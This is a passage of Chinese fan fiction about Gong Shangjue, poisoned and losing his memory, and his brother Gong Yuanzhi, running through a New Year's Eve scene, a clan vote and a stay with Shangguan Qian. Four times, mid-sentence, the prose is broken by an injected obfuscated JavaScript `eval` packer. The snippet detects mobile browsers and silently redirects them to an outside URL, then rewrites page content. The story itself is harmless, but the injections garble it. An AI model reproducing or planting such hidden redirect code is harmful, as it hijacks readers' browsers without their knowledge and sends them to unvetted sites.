宫子羽顿在原地,皱了皱眉。他不喜欢宫尚角现在与他说话的语气。那份生分和恭谨,就好像他是他父亲的替身——或者说,他是执刃这个身份的替身。 但冷风很快把他吹醒,他发现宫远徵射过来的眼刀,于是马上堆起一脸亲和,侧身让开一条路:“外面冷,尚角哥哥快进来说吧。” 宫紫商立即连拉带拽地把人搀进门,年少的角宫宫主远没有他日后的沉稳,刚落座便说出了脑中酝酿的念头:“我同远徵回无锋总部,骗取无锋首领信任,把云夫人换回来。” 月长老和雪公子都在屋内,自然听到了这说来简单、做来棘手的办法,顿时面面相觑:这本是三十一岁的宫尚角在服毒之前交代的对策,十七岁的宫尚角绝不会记得,但居然说得分毫不差。 宫子羽目光游移,没有说话。金繁早已转述过宫尚角的“遗训”,他本应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240050|197686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该明确拒绝,但此刻,他似乎真的在考虑。 宫远徵走到宫子羽跟前,咬着牙,窃窃私语道出“威胁”之辞。 月长老在他们身后缓缓开口:“有件事要提醒你们……角公子的记忆和心智每时每刻都在消退,即便现在计划好一切,到时可能都会忘记。” “那样不是更好?要取信于无锋首领,我若失智,岂非更有说服力?”宫尚角顿了顿,忽然意识到这或许不是发言者的全部顾虑,面色苍白地压低了声音,“放心,我不会出岔子的……只要,我还没忘记自己是宫尚角……” 宫子羽忍不了了,他在那发颤的尾音中紧急背转过身,没让任何人看到他的眼泪差点掉下来。 宫远徵蹲下去紧握住宫尚角的手,带着哭腔轻声安抚:“不会的,不会有那一时的!”也不知是安抚他的哥哥,还是他自己,“我们很快就能找解毒之法,治好你,医好你身上所有的病……你答应过我,待到春天,陪我去看扬州的琼花、洛阳的牡丹,记得么?” 宫远徵越说越快,带着催促和迫切,宫尚角半低下头,“记得”两字似乎马上就要脱口而出…… 可他是宫尚角,自幼便被教导形端影直、不欺暗室。无论是十七岁还是三十一岁,不论是暗潮涌动的宫门,还是波诡云谲的江湖,他为人磊落,行事坦荡,一言九鼎,从不说谎。 “别逼他啦!他这个人,从小到大都是一副德行!” 阴阳怪气的是宫唤羽,随即引来一屋子的人的瞪视,但宫唤羽仍大剌剌地坐着,丝毫不以为意:“都看我做什么?没有我帮你们造这声势舆论,要让无锋首领相信你们,谈何容易?与其在这里卿卿我我、如胶似漆,倒不如想想,如何不被那见鬼的无锋首领牵着鼻子走,到底如何才能破这异化之局!” 如果宫尚角还记得数日前发生过什么,或许会直接将手边的热茶泼过去,让他闭嘴。如果他知道自己的弟弟在过去十四年间是什么样的性情,他一定会万分惊讶他此刻的安静。——如果眼神能杀人,那么宫远徵已经用上他最精密、最趁手的暗器和毒药,一片片将宫唤羽凌迟活剐了。 但宫远徵的确什么都没有说,因为,宫唤羽确实把话说到了点子上。 宫子羽一顿足,总算下定了决心。他回过身定定打量那似近非远、似是而非的面庞:“如果我让你留下养病,你绝不会答应,是不是?” 宫尚角静静地回看他,他的目光早已不再锋利,如同墨色的暮霭漫过迷雾般的森林:“当然,他交给我的事没有完成……” 他垂首,轻轻抚去手背上的湿润:“他死了。可我还在这里。” 34. 五十一 (五十一) 白帝城的除夕并不十分热闹。 许是因为时局动荡,白帝城还在雷家堡的掌控之下;许是巴东蜀西相隔千里,风俗各异;抑或只是因为观者满腹心事,无心游赏。 马车隆隆地碾过街道,宫尚角透过车帷望向窗外初上的华灯,而宫远徵则在暗处一瞬不瞬地盯着他。角色仿佛反转,又仿佛没有,因为下一刻,宫尚角转回头,如同往昔千万次那般,深深凝视与他同骨同泽的弟弟。 “累了吗?”宫远徵伸手过去。 他的额头偏凉,双颊因久病而深陷,眼中的雾气比白日里还要浓些。 冰凉的手指攀上求索者柔韧的掌骨,划过他的掌纹和薄茧,最后探到他掌心里的那道疤。 他无法忽视他眼中的疑惑与忧虑,避重就轻地讲述疤的来历:“四年前,无锋再犯宫门,我与你联手杀了寒衣客。这便是那时留下的。” 他在听到母亲和朗弟弟大仇得报的那一刻眼前一亮,随之神色又马上黯下去:“这么长的一道疤,很疼吧?……” “早就不疼了。”他捧住他的脸,唇珠轻轻点上他的面颊,动作连贯得仿佛这只是一个再寻常不过的举动。 宫尚角怔愣着用另一只手触碰那片潮热,似在回味,又似乎只是想分清,刚才那一刹那究竟是真实还是幻觉。 “不喜欢吗?”宫远徵歪着头。 “不。不是……”宫尚角答得极快——实在是过于快了。 “那就是喜欢。”宫远徵绽开满意的笑靥。 “你说,你到底是什么时候喜欢上我的呢?”他撤回手,支颐打量着马车对面,“你从来不说,好像不说便不存在,我越是想靠近,你就躲得越远。我怀疑了自己好几年,又患得患失了好几年。可是感情不会凭空消失,我以为你想把它带进坟冢,你却做了我绝想不到的事……生死关头,即便是你,也做不到什么克己复礼、清心寡欲,是不是?” 他絮絮叨叨地说,对面便安安静静地听,直到他抬起一双善睐的杏眼,真诚地发问。 宫尚角苦笑:“你还记得,我对你所说的这些,已经完全没有印象了吧?” 宫远徵扯了扯嘴角:“我又没有失忆。倘若他在这里,我压根就不会问这些!” 他把话说出来便觉不对,然而心思玲珑的角宫主人敏锐一如昔日——一如来日。 “所以你承认了,我是我,他是他。”十七岁的宫尚角神色一动,露出一丝快意。 “当然不承认!”若非在马车里,宫远徵简直要拍案而起,“你只是比他少了几年记忆。你就是他,他就是你!” “可你刚刚才说过,他不会与你在一起。他觉得只要不留念想,你迟早会放弃——不是他怕挨骂,他不在乎这世间毁誉,只是这一步一旦踏出,便再无回头路。在他看来,你还太年轻,他怕是他影响了你、是他没有教导好你……他怕你会后悔,怕你只是一时兴起。” 这一番话听得宫远徵张目结舌:“你不是……不记得了么……” “我猜的。”他年少的兄长鲜活地眨了眨眼睛。 可这心路历程道得太真切,恐怕连亲历者都做不到这般自我剖析。 宫远徵萌生了胆大包天的想法:“你!十七岁的你,该不会……” “想什么呢!”宫尚角将他们顺路买的糕点砸进他怀中,“在我这里,宫远徵只有七岁。你会对一个七岁的孩子动心吗?!” 马车外的爆竹声中断了两人的思绪,硝烟味混着寒风搅入车内,激得宫尚角弓起身剧烈咳嗽。宫远徵慌忙坐到他身边揽住他,不断地帮他拍背顺气。 那大约是个大户人家,两千响的爆竹横在街面,足足放了半盏茶才停。 金复勒马远远地躲着,待到一切尘埃落定,这才敢掀开帷帘一角,左顾右盼避着两人的视线:“公子,徵公子,月长老交代的时间快到了,是不是该回去了?” “回吧,雷家堡那些来拜年的人应该已经走了。”宫远徵的声音听起来有些烦闷。 明显感受到身边人的不满,他敛起情绪,转头去哄人:“今日是除夕,夜里还要守岁呢。我们先回去歇歇,好吗?” “我不累。” “……求你了,心疼心疼你这身子骨吧!你可不是真的十七岁!” “所以,你嫌我老了?” “天菩萨,我是怕你把自己折腾没了!……” 二十一岁的徵公子感到头痛。你不能指望一个十七岁的少年人完全听你的,就像他们无法说服现在的宫尚角他马上就要三十二岁了。 不过宫尚角没再挣扎,只是有些脱力地靠在他肩头,哑着嗓子续说前话:“所以,我是我,他是他。他把你当弟弟,才会有许多顾忌。我这两日记事模糊,但的确未曾再听你认真喊过我一声‘哥哥’——” “他不会允许自己与你在一起,但我可以。” 车内人声音不大,然而赶着车的金复仍在哀怨,行前怎么没与宫岸角好好商量商量。至少,在“非礼勿听”这一点上,他有绝对的优势。 马车最终停在白帝城别院的后门,徘徊已久的宫子羽一脸焦急地上前,询问金复怎么去了这么长时间。 宫远徵掀开帘子,一脸鄙夷地示意他“小声些”,然后小心翼翼将怀中昏睡的过去的人交托给他:“如果我没记错,你十七岁那年曾经溜出宫门一夜未归,是被老执刃耙耳朵揪回来的。” 宫子羽无法辩驳,只得低低地叹了口气:“让他先睡一会儿吧,晚些再叫醒他。” * 炉火熔炼着昏黄光晕,屋外夜色已深。爆竹之声开始连绵不绝,穿透层层院落和门墙的包裹,吵闹得令人无法安眠。 他只得起身,感受着这具仿佛不属于自己的麻木躯体。脑中混沌不清,他一时记不起现在是什么光景,自己又为何在这里。 拥炉而坐的玄衣人背对着他,没有听见他醒来的声音。他只好自己披衣而起,迈出虚浮的步子,每一步都让他的四肢百骸疼得钻心。 玄衣青年终于感受到动静,立即转身接住他的踉跄,扶他坐好,又从温在炉上的小盅盛出一碗黑漆漆的汤汁。 “药么?”他压下喉头泛起的酸涩,皱着眉想要躲远,青年却已舀起一勺喂到他嘴边。 “算了,我自己喝吧。” 他不太利索地接过那青瓷碗,抱着视死如归的心态一饮而尽。 “……甜的?”他讶然放下碗。 青年看着他点点头,一手食指指尖在另一手的手背上轻轻点了点,然后用双手的食指和拇指比出一个四方形。 宫尚角愣了愣,低下头:“抱歉,我……” 在他的记忆中,角宫的遗孤刚刚被接进宫门不久。这个天聩的孩子与远徵年纪差不多大,总是伸出小手对他的姐姐 “叽叽喳喳”,他却看不懂他要说的话。 “他说,加了冰糖。”宫子羽不知何时已溜进门,在他投来警惕的目光时神色一颓,接着扶额喃喃自语,“……别是又把我忘了吧?” 宫尚角笑出了声:“还没呢。” 宫子羽这才放心坐到他们旁边,给三人各添了一杯茶:“宫远徵被紫商姐姐拉出门去了,说是要给小锦商——她和金繁的女儿——挑礼物。我猜,远徵弟弟这回可要破费了!” 宫尚角抿了抿嘴,带着些许迷惑:“远徵很缺钱么?” 宫子羽顿时大摇其头:“有你这个角宫宫主在,缺了谁也不可能缺了他的!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240051|197686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他喝了口茶,继续补充,“当然,他研制的那些毒药,本也是宫门重要的收入来源。这些年宫门的生意蒸蒸日上,财力早已不同往日了。” 宫尚角将目光稍稍放空:“老执刃若知晓这些,应该会很欣慰。” “他晓得的。”宫子羽不自然地倾身靠近炉火,埋头干烤着自己,“如果你想知道——这执刃之位原本该是你的。” 宫尚角坦然点点头,既不觉得这是恭维,也没有追究那语声中的歉疚:“只要宫门安好,是谁都行。” “……说实话,你真没想过做执刃么?” 宫子羽是真的很好奇。但他始终没有问出这个问题,除非眼前的宫尚角只有十七。 “当然想过。”角公子答得毫不犹豫,“但既然对你们来说已是既定之事,那便没必要纠结。” 他停了停,垂下眼眸,无奈望向自己那双即便在静止状态依然发颤的手:“何况,如今我这样子,能不能活着都成问题……” 不待宫子羽发话,宫岸角已在他们对面大幅度比了一个看来十分决然的手势。无需赘述,宫尚角知道他在说“噤声,禁言”。 有谁在屋外点了炮仗,爆破之声忽而奏得振聋发聩。 “——放爆竹,驱邪祟喽!” 宫紫商在门外嚷着,等到炮仗声彻底停下,这才举着一捧“小呲花”推开门。宫远徵斜刺里挥舞着另一捧,两人谁没管燃烧的火花可能将整间屋子烧光。 宫子羽一脸惊恐地往宫尚角身前挡了挡:“紫商姐姐,你疯了么?” 宫紫商便翻着眼揶揄他:“你懂什么?这是雷家堡的冷焰火,连稻草都点不燃的!” 说是如此说,两人还是站在门前没进来。宫尚角直勾勾地盯了片刻,终究禁不住引诱,借了宫子羽的力站起来。 “雷家堡,这般厉害么……”他实则已看不大清天上的焰火,于是便觉这红红绿绿的冷焰火格外耀眼。 “术业有专攻。我加了个小机关,不然这冷焰火也燃不了这么长时间。”宫紫商骄傲地扬着脸,将手里的‘小呲花’分出一部分递给他。 炫目的彩色焰火在他眼前噼里啪啦地烧,宫尚角专注而近乎痴迷地看着,直觉眼前闪过些零星的画面:冰天雪地中的桂树,竹林雨幕下的少年,甜滋滋的糖水,形似宝剑的鱼骨,还有角宫残夜、巫山斜阳,一声声凄绝无比的“宫尚角”…… 而后火焰燃尽,画面消失,他意识到,那好像是些记忆的碎片。 宫远徵抛开燃尽的焰管走近,面露遗憾,小声嘟囔:“本想出去给你挑件礼物,怕人认出来,还是没敢下车。沿街仓促看了一圈,也没挑出什么合适的来。回来时见雷家堡的人拿着这小玩意,便让紫商姐姐要了几支,现在,也都放光了……” 宫尚角用雾缕般的漆瞳凝视着他,但好像没听见他说的话。 “远徵,答应我一件事好吗?”他的声音听上去年轻而困惑,藏着些不甘和不舍,“如果,我把你忘了……” 他翘起的唇瞬间被他用手堵住。随后宫远徵拉过自己身后的一缕发辫,松开发尾的辫绳,绳上的银铃随着他的动作发出细碎的鸣声。 “曾经,哥哥将这串铃铛系在我头上,说只要我想他了,摇一摇这铃铛,他便会找到我。 现在我把它送给你——拿了我的铃铛,就是我的人,有这铃铛声时时伴着你,你就永远不会忘了我。” 宫尚角抓着那串铃铛,放在眼前,轻轻地摇响:“……我给了你,你又给我……这不叫‘送’,这该叫‘还’吧?” 众人皆在旁哑然失笑,就连宫远徵自己也忍俊不禁:“还说你不是他吗!” 除夜雾浓,晦日无月,唯齐眉相顾,明眸如月,明月如钩。 35. 五十二 (五十二) “除了腹痛呕血,头晕乏力,角公子可还有哪里不舒服么?” “说实话么?” “自然是实话。” “哪里都不舒服。” 正元日里的大晌午,宫尚角面色痛苦地蜷缩在炉前,身边围着一圈人,一双双眼睛正对着他怒目而视。按理说这个时候,他们本应插桃符、放爆竹,热热闹闹吃上一顿团圆饭,现在却被搅得心惊肉跳,全无心情。 而事情还要从两个时辰前说起: 清晨头一桩事,月长老为宫尚角细细诊了一遍脉,见他神色恍惚,正琢磨他又忘了什么。宫远徵顶着眼下乌青出现,解释两人几乎一宿未合眼,他的小兄长非要将失去的十四年与他仔细核对一遍,众人这才啼笑皆非。 ——他们的“宝贝”角公子可是直到二更天才醒来守岁,苦的是已有多日不曾睡过一个安稳觉的宫三。 从前但凡宫尚角在宫门,宫远徵夜里没少跑去角宫缠他,如今也算是一报还一报了。于是众人暂且安下心来,开始置办酒菜,打算补上前一晚宫尚角缺席的年饭。 雷重昭的突然到访令所有人始料未及。雷家堡的人昨日分明来过一波,为免节外生枝,宫远徵与宫尚角躲了出去,以防被撞见。没成想今日一早,雷大当家便亲自率人登门,不仅送来拜年的五辛盘和屠苏酒,还请了白帝城里最好的大夫,摆明就是为宫尚角而来。如此,宫子羽便不好再推辞。 宫尚角穿着一身石青色的雉头裘,自被扶到院中便只顾盯着装蜜饯和饴糖的九饤盘,以至完全无视了面前的老者,遑论回答他的问题。须发皆白的老医师转头与雷大当家对视一眼,一时有些不知所措。 “他的目力、听觉都衰退得厉害,你们与他说话,须得在他耳边才行。”宫门的执刃走过去将那盛糖果的盘子推远了些,这才迫使宫尚角抬起头,目光迷茫地看向他。 医者只得放弃“望闻问切”的第三步,直接伸手去把脉,而后立即像是过电一般缩回手来:“这……” 雷重昭面露疑惑:“怎么了?” 老医师颤巍巍地哆嗦着唇,许久方憋出一句:“这可是濒死的脉象啊……!” “是,他中毒前便已是这般脉象了。”宫子羽面色沉重地解释,“当时尚角哥哥命在旦夕,宫远徵突然出现说能保命,我们本以为他不会对自己的兄长下毒手便信了他,没想到……昨日里尚角哥哥还能记得七八成事,可到今早,怕是连一成都没了……” 雷重昭听罢,同样神色凝重地捋着自己的胡须:“没想到这异化之毒如此厉害,竟能让人停滞在这半死非死的境地——难怪那些死人会变成怪物!” “月长老已在着手研究,但至今尚未找到破解之法。他如今失智事小,若当真开始伤人可就糟——” 宫子羽话未说完,神志不清的角公子便像是得了某种提示,忽然从盘中抓起一把胶牙饧一股脑塞进嘴里,不待众人反应过来,又捞起案上的屠苏酒猛得灌了一口,随即面色惨白地呕出一大口血,踉跄着一连撞翻廊下的两排食盒。 宫子羽登时大惊失色,正打算将人扶起,宫尚角猝然间发力猛地挣开他,转头从随侍在侧的金复那里抽出刀来,照着雷家堡的人便抡了过去—— 好在他久病的身体根本无法支撑,刀未挥出就已脱手,金繁连忙趁机将人制住,宫紫商冲过来痛斥金繁力道太大会伤到他;宫子羽挡在前面,忙着唤人快去寻月长老,金复在他们后面跪下顿足捶胸,动作之大,令旁人无法接近;只剩雪公子与宫岚角一左一右勉强维持局面,当机立断将所有人往门外赶。 小小的白帝城别院瞬间乱作一团,雷重昭也只得起身告辞,临走时匆匆下令全城搜捕“罪魁祸首”宫远徵,又惋惜地看了看被宫门众人严严实实围在其间的宫尚角,表示宫门若有需求,雷家堡一定竭力帮忙。 于是一场闹剧潦草收场,便有了开头的那一幕。 “——戏过了,角公子!” 月长老一脸严肃地诊了脉,将写好的方子递给金复,嘱咐道:“将这副柏叶汤煎开,切记放凉后温服。接下来十二个时辰,什么都不能吃!”接着便转头数落起不省心的病人,“你可知屠苏酒里是什么?就你这身子,别提乌头和附子,那点大黄和川椒都能要了你的命!” 年少的角公子痛得冷汗涔涔,嘴上却丝毫不示弱:“不闹出点动静把人赶走,远徵被发现了怎么办?不是你们说的雷家堡不可信?” 宫子羽无可奈何地长吁了口气:“哪里是我说的,那是你自己说的!——金繁告诉我,你在服下异化之毒前只交代了两件事,其中一条便是雷家的人不可信。” “还有一条是什么?”宫远徵站在角落中,阴恻恻眯着眼睛,语气十分危险。 宫子羽没敢回答。 雪公子幽幽地补了刀:“还有一条,便是昨日没谈妥的事——角公子要见无锋首领,以身为饵。” 药瓶被“咚”得砸在案上,明显已忍了许久的徵公子道出他的最终警告: “这事没得商量,谁说的都不行!” 他看起来真的很是恼火,连喂药的动作也暴躁不少,一反这两日在宫尚角面前营造的“温柔”形象。后者愣怔片刻,一声不吭地就着他的手将药丸吞进肚子,瞬间被苦得整个人一个激灵。 宫紫商不忍心看下去,连忙咳嗽一声,岔开话题:“所以,雷家堡到底有没有问题?” 宫子羽迟疑地转着手中茶杯:“不好说。雷重昭这人老谋深算,但目前看不出什么破绽。” 几人又同时将目光转向炉前,好不容易缓过些许的宫尚角摇头苦笑:“别指望我……之前的判断,必定是基于多年的江湖经验,现在,我可是什么都不记得。” 宫子羽只得再次叹了口气:若是阿云在这里就好了。好在他今晨收到了金凝的消息,说阿云目前只是被关着。无锋首领似乎去了别处,但金凝一人无法救援,只能暂时按兵不动。 他清了清嗓子,总结道:“当务之急,还是得尽快造好新的‘山摧’。要解决那些异化人,只有火器才有一战之力。若雷家堡并非真心帮忙,那就只有靠我们自己了。” 宫紫商一抚掌:“幸好我留了心眼,给雷重昭看的是老版‘山摧’图纸!我前两日给我爹和小花公子传过信,让他们尽快送来一批,若是顺利,新火器应当已在路上了。” “那么,就只剩一个问题——”宫门的执刃再度看向徵宫的宫主,“远徵弟弟可还有更好的办法取信于无锋首领?” 立即听懂话外之音的宫远徵警惕地没有开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240052|197686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口,只是神色怨念地盯着宫尚角又咳出一口血来。 宫子羽站起身,不安地踱了两步,最终还是在主位前站定: “如此,投票吧。” 他顿了顿,目光一一扫过众人:“如今宫门七宫有六位宫主在此,下一步如何行动,由我们共同决定。到时无论结果如何,远徵弟弟,你我都不能违背。” 宫远徵便也站起来,咬着牙目光灼灼地顶上去:“如果我不投呢?” “没有这个如果。”宫子羽板起脸,断然一拂袖,“我是宫门的执刃,结果我听大家的,但投不投票这件事,你得听我的!” 他站直身子要比宫远徵高出小半头,如今也终于拿出做执刃的气势,宫远徵张了张口,竟未像从前那般伶牙俐齿地说出什么挖苦的话来。 “罢了,要投就快些投!投完了让角公子去休息。”在场唯一的长老率先做了决断。 * “这不是玩赖么?”事后得知投票结果,金凝道出了其中真谛。 众人当时的意见并不难猜:宫远徵和宫子羽自是各执一词;宫紫商和月长老出于对宫尚角身体的担忧,无疑会选择反对;雪公子早已表明过态度,只要宫尚角一心为了宫门,他没有不支持的理由;而宫尚角自己的想法更是不必赘言。 三对三,陷入僵局,最后一票成为关键。但他们总不能飞鸽传书回宫门,现等花公子的回应。 于是宫尚角提议,将最终的选择权交给宫岚角。 对此,站在门边一言未发的玄衣女子有些意外。宫尚角失忆以来不曾与她说过一句话,她又不似她的弟弟,有着独一无二的特质可以一眼辨识。在这一刻之前,她都拿不准他是否知道她是谁。她确信在宫尚角残存的记忆中,时年十岁的自己刚刚失去父亲,还对他充满敌意。 而事实是,宫尚角不仅认出了她,还很清楚,她是他亲自选定的下一任角宫继承人。 宫子羽旋即对这个提议表示支持。既然确实已被问到,宫岚角并不吝惜自己的意见:雷家堡的人现已知晓宫尚角服下了异化之毒,经过今日这么一闹,就算不宣扬得满江湖皆知,也必定是树欲静而风不止。现在整个白帝城都是雷家堡的人,他们的一举一动全在人家掌控之中,无论雷家是何居心,对宫尚角而言,或对宫门众人而言,白帝城当真还安全么? “角公子前些天清醒时曾与我提过,若非那日失去意识,这白帝城他本不该进来。无论任何人有任何企图,他在这里,便是宫门的活靶子——而事实也的确如此应验。他让我派人盯住雷重昭,但我们带来的侍卫只够护院,实在是匀不开人手。角公子并不想如此被动,只是当时病得太重,他也没有办法……” 而这,也正是宫尚角最终选择服下异化之毒的主要原因之一。 “所以,岚角姑娘这一票,说白了还是角公子授意。”金凝站在马车边,遥遥望向猎猎寒风中的女子。 “是,也不是。”宫岚角抱着刀,垂目俯视着无锋总部的万丈高崖,“我们不能再让角公子涉险了。一定还有更好的解决办法。” “那角公子的意见呢?” 帷帘缓缓撩开一角,车内的宫尚角轻轻勾了勾唇:“老实说,我想不出什么更好的对策。” “——但我自己挑的人,我信。” 36. 五十三 (五十三) 杲杲白日出,照我屋隅东。 开窗见童子,倚户学晨功。 西陵腹地的避世渔村,山青水绿,风景秀丽。虽则数九之日,亦不如谷外那般寒冷。 小桥流水边的篱院,白衣女子挑起竹枝,抬高幼童挥动木剑的藕臂,转头言笑晏晏地与窗前人问安:“角公子睡得可好?” 场景恍如隔世,宫尚角怔怔望向院子,几乎忘了自己如何来到这里,险些记不起院中的人是谁。 暄阳微暖,瘦瘦小小的幼女在晨露中瑟瑟发着抖。宫尚角迅速回过神:“她才多大,就要练这么复杂的招式?” 上官浅似乎察觉什么,不动声色地走近窗边:“都是些入门的套路。况且,是她自己执意要学。” “坏人再来,兆儿打跑他们!”身后的小家伙立即信誓旦旦地晃起小脑袋。 女孩子单名一个“兆”字,是“端兆”之兆,“瑞兆”之兆,也是“承祧”之祧。 “……剑都拿不稳呢。”宫尚角哭笑不得。 “角公子是哪一年开始习武的?”上官浅忽然问。 “五岁。”久远之事,他记得尚清。 小丫头今年也刚好满五岁。上官浅不曾提过她们的身份来历,宫尚角也并未开口询问。她不清楚宫门的人都与失忆的宫尚角说过些什么,昨日宫岚角将人送来时只捎了宫远徵的口信,说是希望她能暂时照看一阵,算作对他救回孩子的报答。之后,新任的角宫代理宫主便也匆匆忙忙地离开了。 “角公子刚开始练武时,还不是刀都提不动么?”另一人嬉笑着出现在宫尚角身后,抖开石青色的裘衣披在他身上。 上官浅从前没见过这人,只认得他手背上的红玉:“我以为红玉侍都留在宫门后山。为何跟来的是你?” 金凝咧了咧嘴:“他们角宫的人在一起行动惯了,我留着碍事,就被‘发配’了呗。” 实则金复陪宫远徵去了无锋总部,有宫尚角的贴身侍卫为证,才好取信于无锋首领;宫岚角本想让宫岸角留在宫尚角身边,但角公子现下不会手语,两人交流起来实在不便。 “——而且,角公子现在明显与我更相熟。”金凝莫名得意地扬起下巴。 “熟么?我怎么记不得。”宫尚角拢了拢身上长裘,勾起唇角,毫不客气地拆了台。 上官浅听到此处,收敛笑意:“先前的事,抱歉……无锋寻到了寄养兆儿的人家,是那个假云为衫逼我就范。”若非当时她引无锋的人去杀宫尚角,成了压死骆驼的最后一根稻草,或许后面的许多事都不会发生。 “不必道歉,这不是你的错。何况我也不记得。”宫尚角坦然答道。 他面上仍旧没什么血色,但的确比上官浅离开时状态好了不止一点。这隐世之地与外界消息不通,她也是直到昨日才得知近来一切——到底是怎样破釜沉舟的心境,才敢吞下异化之毒?即便这人是宫尚角,也依然令上官浅侧目。 兆儿练完一整套招式,细声细气地唤了声“母亲”。上官浅回头淡淡看了一眼,只让她接着练,葱段般的手指却泛白地抓着宫尚角面前窗棂:“但如果无锋再来,我或许还会倒戈。” “你不会。”宫尚角马上摇摇头,“远徵说,他相信你不敢再拿孩子打这个赌。” 上官浅恍然洞悟:“所以他们才将你送来。我要护着孩子,就得护着角公子。” 宫尚角耸起眉峰:“你把我说得像个累赘。” “难道不是?” “就是因为不愿成为累赘啊……” 宫尚角低声嘟囔了一句,惹得上官浅再次笑出来。直至十余天前,他在她面前都显得疏离冷淡,仿佛天性如此,她从未想过少年时期的角公子也会有这般鲜活有趣的一面。 由此,自诩人情练达的女子迅速掌握了主动权:“留在我这里可以,但你要答应我一件事——其实这事你早就答应过我,虽然你不记得,但也不妨碍履行。” 似是站得累了,宫尚角扶着窗沿坐下来,目光仍远远追随院中一招一式神情专注的稚子:“说说看。” “把你的刀法传给兆儿。” “她不是已在学剑了么?” “这并不冲突。” 宫尚角叹了口气:“你身在无锋多年,眼睁睁看着他们把你、把你这样的孩子培养成杀器。如今你的孩子,还要走上这条老路么?” “错了!”上官浅忽然扬声,原来是兆儿正练到难处,因迈错了步子险些栽倒。上官浅不紧不慢拾起竹枝,又指点了几处,然后再次回到窗前:“错了。我、云为衫、云雀,我们这样的孩子就是因为没有自保之力,才会被无锋掳去训练成杀人工具。要兆儿学剑、学刀,要她将来有能力自保——不仅自保,还要足够强——这样当年的事、十多天前的事才不会一再重演。” 宫尚角开口欲言,上官浅却立即将他打断:“我知道你想说什么。宫门足以庇护一个孩子,这我相信,但她是孤山派的承祧之人,所以剑是一定要学的。至于她能否学刀……那取决于角公子是否言而有信。” 女子天生眉目如画,秋水般的眸子柔润生辉,往常无论什么话语,从她嘴里总能道得软似烟、甜如蜜。但今时却是不同的,她神色之中的坚毅、言辞之中的笃定,终于能让人想起她曾挣扎着爬过无数死尸,在夹缝中伺机等候报仇之机,在明知梦兰之时毅然决然地转身离去。 宫尚角了然一喟:“刀法,可以教,但你也要答应我一件事:无锋,由我们来解决。无论结果如何,不要教给她仇恨,不要把她当做复仇或达成目的的工具… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240053|197686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …我或许看不到她长大了,但我希望,她能平平安安度过这一生。” 上官浅的神色变了。不光她的神色变了,就连金凝也在煎药间隙将诧异的目光投向两人。但宫尚角仍神态如常地等着上官浅的答复。 “角公子以什么身份说这话?”上官浅变得有些局促。 缥缈深邃的墨瞳盯了她片刻,宫尚角忽然一撇嘴角,浮起一丝轻黠的笑:“教了她刀法就是她师父,习武正道,难道不该说清?” 上官浅心头一松,吐出口气,转头唤道:“兆儿,过来拜师。” 宫尚角看着女童收了剑,乖巧地跟随母亲走进屋内,这才满意地开口:“拜师先不急,我还有件正事,要与你确认。” “何事?” “——点竹死后,你再见到无锋首领,可觉得他有哪里不一样么?” 冬日的风毕竟寒凉,上官浅掩了窗,在宫尚角对面坐定,仔细回忆:“点竹死在三年,不,四年之前,那之后我只见过一次无锋首领,就是在去年的雷家堡火器大会。当时我看到他与寒鸦陆一同出现,心中震惊点竹竟真的不是无锋首领,然后便发现了云为衫。他们离得很远,我心中焦虑,也顾不得细看,确实没有察觉人有什么问题……怎么,角公子莫不是觉得这些年无锋首领换了别人?” 宫尚角用手指轻轻敲打着窗边木案:“只是猜测。多年以来,无锋行事虽然隐秘,却也嚣张,两度进攻宫门,可见一斑。唯独近五年久蛰不出,甚至于以这异化之毒自毁长城,究竟是被我们打怕了,还是另有原因?” 上官浅思忖片刻:“如此,我或许有必要再去见一见这个无锋首领。” 宫尚角不置可否:“不必勉强。有云夫人在,也是一样的。” 兆儿听不懂他们讲话,不安分地把玩了一会儿手中的桃木小剑,终于忍不住牵起女子的宽袖:“母亲,拜师。” 她仰着一张粉嫩柔软的小脸,挺起高耸的鼻峰,同样秋水般的眸子闪动着赤子独有的清莹。 宫尚角温柔地望着,轻轻笑了笑:“过段时间让远徵叔叔教你吧,他的刀法路数,或许更适合你。” 